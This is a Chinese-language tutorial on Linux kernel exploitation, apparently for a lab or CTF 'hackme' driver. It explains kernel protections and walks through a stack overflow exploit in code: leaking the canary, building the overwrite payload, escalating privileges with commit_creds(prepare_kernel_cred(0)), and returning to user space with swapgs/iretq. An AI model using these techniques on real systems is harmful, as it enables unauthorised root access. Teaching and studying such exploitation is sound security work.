Linux Kernel Pwn Part 1
字数 937 2025-08-24 07:48:22
Linux Kernel Pwn 教学文档 - Part 1
内核保护机制
1. Kernel Stack Canaries
- 类似于用户空间的栈保护机制
- 内核编译时启用,无法禁用
- 使用
__readgsqword(0x28u)读取canary值
2. KASLR (Kernel Address Space Layout Randomization)
- 类似于用户空间的ASLR
- 每次开机随机化内核加载基地址
- 控制方式:
- 启用:
-append选项添加kaslr - 禁用:
-append选项添加nokaslr
- 启用:
3. SMEP (Supervisor Mode Execution Protection)
- 内核模式下标记所有用户空间地址为不可执行
- 由CR4寄存器的第20位控制
- 控制方式:
- 启用:
-cpu选项指定+smep - 禁用:
-append指定nosmep
- 启用:
4. SMAP (Supervisor Mode Access Prevention)
- 类似于SMEP,但更严格
- 内核模式下标记所有用户空间地址为不可读/写
- 由CR4寄存器的第21位控制
- 控制方式:
- 启用:
-cpu选项指定+smap - 禁用:
-append指定nosmap
- 启用:
5. KPTI (Kernel Page Table Isolation)
- 用户空间和内核空间的页表完全分离
- 控制方式:
- 启用:
-append选项指定kpti=1 - 禁用:
-append选项指定nopti
- 启用:
漏洞利用示例
漏洞分析
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off) {
unsigned __int64 v4; // rdx
ssize_t v5; // rbx
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v8; // [rsp+80h] [rbp-20h]
v5 = v4;
v8 = __readgsqword(0x28u);
if (v4 > 0x1000) { // 大小检查
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x1000LL);
BUG();
}
_check_object_size(hackme_buf, v4, 0LL);
if (copy_from_user(hackme_buf, data, v5))
return -14LL;
_memcpy(tmp, hackme_buf, v5); // 缓冲区溢出漏洞
return v5;
}
利用步骤
- 泄漏Canary
void leak_cookie() {
unsigned long leak_info[0xa0/8];
memset(leak_info, 0, sizeof(leak_info));
size_t size = read(global_fd, leak_info, 0xa0);
cookie = leak_info[0x80/8];
printf("[*] Leak %zd bytes\n", size);
printf("[*] Cookie: 0x%lx\n", cookie);
}
- 构造ROP链
void exploit() {
unsigned long payload[0x100/8];
unsigned long offset = 0x80/8;
payload[offset++] = cookie;
payload[offset++] = 0x0; // 三个填充
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)escalate_privs; // 控制流劫持
size_t size = write(global_fd, payload, sizeof(payload));
}
- 提权函数
void escalate_privs() {
__asm__(
"movabs rax, 0xffffffff814c67f0;" // prepare_kernel_cred
"xor rdi, rdi;"
"call rax;"
"mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" // commit_creds
"call rax;"
);
}
- 返回用户空间
void save_state() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
void escalate_privs() {
user_rip = (unsigned long)get_root_shell;
__asm__(
".intel_syntax noprefix;"
// ... 提权代码 ...
"swapgs;" // 切换GS寄存器
"mov r15, user_ss; push r15;"
"mov r15, user_sp; push r15;"
"mov r15, user_rflags; push r15;"
"mov r15, user_cs; push r15;"
"mov r15, user_rip; push r15;"
"iretq;" // 返回用户空间
".att_syntax;"
);
}
调试技巧
- QEMU+GDB调试
- 启动QEMU时添加
-s选项 - GDB连接:
gdb ./vmlinux target remote localhost:1234
- 查找符号地址
cat /proc/kallsyms | grep hackme_write
cat /proc/kallsyms | grep commit_creds
cat /proc/kallsyms | grep prepare_kernel_cred
- 设置断点
b* ffffffffc00710d0
c
关键点总结
-
内核ROP与用户空间ROP的区别:
- 内核函数退出时需要三次pop操作
- 需要在canary后添加三个padding
-
提权核心:
commit_creds(prepare_kernel_cred(0)); -
返回用户空间关键:
- 保存寄存器状态
- 使用
swapgs切换GS寄存器 - 使用
iretq指令返回用户空间 - 需要正确设置RIP|CS|RFLAGS|SP|SS五个寄存器
-
符号地址获取:
- 通过
/proc/kallsyms获取 - 需要root权限才能查看完整符号表
- 通过